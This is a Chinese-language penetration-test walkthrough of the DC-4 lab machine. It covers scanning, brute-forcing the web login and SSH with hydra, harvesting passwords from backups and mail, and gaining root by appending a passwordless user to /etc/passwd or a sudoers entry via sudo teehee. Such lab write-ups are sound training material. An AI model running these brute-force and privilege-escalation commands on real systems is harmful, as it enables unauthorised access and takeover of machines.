DC-4渗透测试过程

主机扫描

arp-scan -l

靶机ip：192.168.56.110

端口扫描

nmap -A 192.168.56.110

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-15 07:08 EDT
Nmap scan report for 192.168.56.110
Host is up (0.0011s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey: 
|   2048 8d:60:57:06:6c:27:e0:2f:76:2c:e6:42:c0:01:ba:25 (RSA)
|   256 e7:83:8c:d7:bb:84:f3:2e:e8:a2:5f:79:6f:8e:19:30 (ECDSA)
|_  256 fd:39:47:8a:5e:58:33:99:73:73:9e:22:7f:90:4f:4b (ED25519)
80/tcp open  http    nginx 1.15.10
|_http-title: System Tools
|_http-server-header: nginx/1.15.10
MAC Address: 08:00:27:8A:84:D7 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

目录扫描

dirsearch -u http://192.168.56.110

Target: http://192.168.56.110/

[07:12:12] Starting: 
[07:12:40] 302 -  704B  - /command.php  ->  index.php
[07:12:42] 301 -  170B  - /css  ->  http://192.168.56.110/css/
[07:12:52] 301 -  170B  - /images  ->  http://192.168.56.110/images/
[07:12:52] 403 -  556B  - /images/
[07:12:52] 403 -   15B  - /index.pHp
[07:12:57] 302 -  206B  - /login.php  ->  index.php
[07:12:58] 302 -  163B  - /logout.php  ->  index.php

访问web页面

爆破登录页面

admin happy

进到后台，发现可以执行命令

直接反弹shell

查找suid权限的文件

www-data@dc-4:/home$ find / -type f -perm -4000 2>/dev/null
find / -type f -perm -4000 2>/dev/null
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/newgrp
/usr/bin/passwd
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/sbin/exim4
/bin/mount
/bin/umount
/bin/su
/bin/ping

这里exim4是有漏洞的，和dc-8的一样

我这里跟着靶机思路再做一遍

进到home目录

www-data@dc-4:/home/jim$ ls -la
ls -la
total 36
drwxr-xr-x 3 jim  jim  4096 Mar 12 21:37 .
drwxr-xr-x 5 root root 4096 Apr  7  2019 ..
-rw-r--r-- 1 jim  jim   220 Apr  6  2019 .bash_logout
-rw-r--r-- 1 jim  jim  3526 Apr  6  2019 .bashrc
-rw-r--r-- 1 jim  jim   675 Apr  6  2019 .profile
drwxr-xr-x 2 jim  jim  4096 Apr  7  2019 backups
-rw------- 1 jim  jim   528 Apr  6  2019 mbox
-rwxrwxrwx 1 jim  jim    22 Mar 12 21:25 test.sh

发现密码文件

www-data@dc-4:/home/jim$ cd backups
cd backups
www-data@dc-4:/home/jim/backups$ ls
ls
old-passwords.bak

可能是jim的密码

爆破SSH

hydra -l jim -P pass.txt ssh://192.168.56.110

[22][ssh] host: 192.168.56.110   login: jim   password: jibril04

jim@dc-4:~$ cat mbox
cat mbox
From root@dc-4 Sat Apr 06 20:20:04 2019
Return-path: <root@dc-4>
Envelope-to: jim@dc-4
Delivery-date: Sat, 06 Apr 2019 20:20:04 +1000
Received: from root by dc-4 with local (Exim 4.89)
        (envelope-from <root@dc-4>)
        id 1hCiQe-0000gc-EC
        for jim@dc-4; Sat, 06 Apr 2019 20:20:04 +1000
To: jim@dc-4
Subject: Test
MIME-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 8bit
Message-Id: <E1hCiQe-0000gc-EC@dc-4>
From: root <root@dc-4>
Date: Sat, 06 Apr 2019 20:20:04 +1000
Status: RO

This is a test.

提权

jim@dc-4:~$ cd /var/mail
cd /var/mail
jim@dc-4:/var/mail$ ls
ls
jim  www-data
jim@dc-4:/var/mail$ cat jim
cat jim
From charles@dc-4 Sat Apr 06 21:15:46 2019
Return-path: <charles@dc-4>
Envelope-to: jim@dc-4
Delivery-date: Sat, 06 Apr 2019 21:15:46 +1000
Received: from charles by dc-4 with local (Exim 4.89)
        (envelope-from <charles@dc-4>)
        id 1hCjIX-0000kO-Qt
        for jim@dc-4; Sat, 06 Apr 2019 21:15:45 +1000
To: jim@dc-4
Subject: Holidays
MIME-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 8bit
Message-Id: <E1hCjIX-0000kO-Qt@dc-4>
From: Charles <charles@dc-4>
Date: Sat, 06 Apr 2019 21:15:45 +1000
Status: O

Hi Jim,

I'm heading off on holidays at the end of today, so the boss asked me to give you my password just in case anything goes wrong.

Password is:  ^xHhA&hvim0y

See ya,
Charles

jim@dc-4:/var/mail$ sudo -l
sudo -l
[sudo] password for jim: ^xHhA&hvim0y

Sorry, try again.
[sudo] password for jim: jibril04

Sorry, user jim may not run sudo on dc-4.

得到Charles的登录密码，^xHhA&hvim0y

charles@dc-4:~$ sudo -l
sudo -l
Matching Defaults entries for charles on dc-4:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User charles may run the following commands on dc-4:
    (root) NOPASSWD: /usr/bin/teehee

可以用teehee命令

看一下teehee的手册

用法：teehee [选项] ... [文件] ...

将标准输入复制到每个FILE，也复制到标准输出。

-a、 --附加到给定的FILEs，不覆盖

-i、 --忽略中断忽略中断信号

-p诊断写入非管道的错误

利用管道写进文件

可以写/etc/passwd或者/etc/sudoers

echo "root1::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
su - root1

或者

echo "charles   ALL=(ALL:ALL) ALL" | sudo teehee -a /etc/sudoers
sudo su -

总结

主要考察爆破，ssh爆破，登录页面爆破

靶机涉及知识点：

爆破，teeheee提权，/etc/passwd，/etc/sudoers文件利用